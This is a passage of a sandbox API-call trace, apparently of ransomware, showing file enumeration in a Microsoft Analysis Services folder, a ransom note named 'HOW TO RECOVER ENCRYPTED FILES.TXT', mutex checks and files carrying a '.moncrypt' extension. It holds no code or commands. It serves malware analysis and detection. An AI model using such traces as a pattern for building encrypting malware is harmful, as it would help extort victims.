dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.290] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.290] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.290] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.290] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.290] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.290] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.290] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.290] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.290] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.290] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.291] CloseHandle (hObject=0x18c) returned 1 [0059.291] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0059.291] GetLastError () returned 0x12 [0059.291] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.291] GlobalLock (hMem=0x440004) returned 0x550170 [0059.291] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.291] GlobalUnlock (hMem=0x440004) returned 0 [0059.291] GlobalLock (hMem=0x440004) returned 0x550170 [0059.291] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.291] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.291] GlobalUnlock (hMem=0x440004) returned 0 [0059.291] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.291] GlobalUnlock (hMem=0x44000c) returned 0 [0059.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44850020, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44850020, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0059.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0059.291] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.291] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.292] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.292] GlobalUnlock (hMem=0x44000c) returned 0 [0059.292] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.292] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.292] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.292] GlobalUnlock (hMem=0x44000c) returned 0 [0059.292] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.292] GlobalUnlock (hMem=0x440004) returned 0 [0059.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.292] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44850020, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44850020, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.292] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.292] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.292] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.292] GlobalUnlock (hMem=0x440004) returned 0 [0059.292] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.292] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.292] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.292] GlobalUnlock (hMem=0x440004) returned 0 [0059.292] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.292] GlobalUnlock (hMem=0x44000c) returned 0 [0059.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.292] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4425, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl.moncrypt", cAlternateFileName="AS80XS~1.MON")) returned 1 [0059.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.292] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.293] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.293] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.293] GlobalUnlock (hMem=0x44000c) returned 0 [0059.293] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.293] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.293] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.293] GlobalUnlock (hMem=0x44000c) returned 0 [0059.293] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.293] GlobalUnlock (hMem=0x440004) returned 0 [0059.293] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.293] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x49f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl.moncrypt", cAlternateFileName="AS90XS~1.MON")) returned 1 [0059.293] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.293] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.293] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.293] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.293] GlobalUnlock (hMem=0x440004) returned 0 [0059.293] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.293] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.293] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.293] GlobalUnlock (hMem=0x440004) returned 0 [0059.293] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.293] GlobalUnlock (hMem=0x44000c) returned 0 [0059.293] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.293] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0059.293] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.293] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.293] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.294] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.294] GlobalUnlock (hMem=0x44000c) returned 0 [0059.294] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.294] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.294] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.294] GlobalUnlock (hMem=0x44000c) returned 0 [0059.294] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.294] GlobalUnlock (hMem=0x440004) returned 0 [0059.294] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.294] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x79a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl.moncrypt", cAlternateFileName="INFORM~1.MON")) returned 1 [0059.294] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.294] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.294] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.294] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.294] GlobalUnlock (hMem=0x440004) returned 0 [0059.294] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.294] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.294] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.294] GlobalUnlock (hMem=0x440004) returned 0 [0059.294] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.294] GlobalUnlock (hMem=0x44000c) returned 0 [0059.294] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.294] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x71f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl.moncrypt", cAlternateFileName="MSJETX~1.MON")) returned 1 [0059.294] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.294] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.294] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.294] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.295] GlobalUnlock (hMem=0x44000c) returned 0 [0059.295] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.295] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.295] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.295] GlobalUnlock (hMem=0x44000c) returned 0 [0059.295] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.295] GlobalUnlock (hMem=0x440004) returned 0 [0059.295] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.295] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x85e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl.moncrypt", cAlternateFileName="SQL200~1.MON")) returned 1 [0059.295] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.295] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.295] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.295] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.295] GlobalUnlock (hMem=0x440004) returned 0 [0059.295] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.295] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.295] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.295] GlobalUnlock (hMem=0x440004) returned 0 [0059.295] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.295] GlobalUnlock (hMem=0x44000c) returned 0 [0059.295] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.295] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7e57, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl.moncrypt", cAlternateFileName="SQL70X~1.MON")) returned 1 [0059.295] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.295] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.295] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.295] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.295] GlobalUnlock (hMem=0x44000c) returned 0 [0059.296] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.296] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.296] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.296] GlobalUnlock (hMem=0x44000c) returned 0 [0059.296] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.296] GlobalUnlock (hMem=0x440004) returned 0 [0059.296] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.296] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl.moncrypt", cAlternateFileName="SQL90X~1.MON")) returned 1 [0059.296] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.296] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.296] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.296] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.296] GlobalUnlock (hMem=0x440004) returned 0 [0059.296] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.296] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.296] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.296] GlobalUnlock (hMem=0x440004) returned 0 [0059.296] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.296] GlobalUnlock (hMem=0x44000c) returned 0 [0059.296] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.296] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x7523, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl.moncrypt", cAlternateFileName="SYBASE~1.MON")) returned 1 [0059.296] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.296] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.296] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.296] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.296] GlobalUnlock (hMem=0x44000c) returned 0 [0059.296] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.297] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.297] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.297] GlobalUnlock (hMem=0x44000c) returned 0 [0059.297] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.297] GlobalUnlock (hMem=0x440004) returned 0 [0059.297] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.297] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x7523, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl.moncrypt", cAlternateFileName="SYBASE~1.MON")) returned 0 [0059.297] GetLastError () returned 0x12 [0059.297] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.297] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0059.297] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.297] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.297] GlobalLock (hMem=0x440004) returned 0x550170 [0059.297] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.297] GlobalUnlock (hMem=0x440004) returned 0 [0059.297] GlobalLock (hMem=0x440004) returned 0x550170 [0059.297] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.297] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.297] GlobalUnlock (hMem=0x440004) returned 0 [0059.298] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.298] GlobalUnlock (hMem=0x44000c) returned 0 [0059.298] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.298] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0059.298] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.298] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.298] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.298] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.298] GlobalUnlock (hMem=0x44000c) returned 0 [0059.298] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.298] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.298] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.298] GlobalUnlock (hMem=0x44000c) returned 0 [0059.298] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.298] GlobalUnlock (hMem=0x440004) returned 0 [0059.298] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.298] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0059.298] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.298] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.298] GlobalLock (hMem=0x440004) returned 0x550170 [0059.298] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.298] GlobalUnlock (hMem=0x440004) returned 0 [0059.298] GlobalLock (hMem=0x440004) returned 0x550170 [0059.299] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.299] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.299] GlobalUnlock (hMem=0x440004) returned 0 [0059.299] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.299] GlobalUnlock (hMem=0x44000c) returned 0 [0059.299] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.299] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0059.299] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: 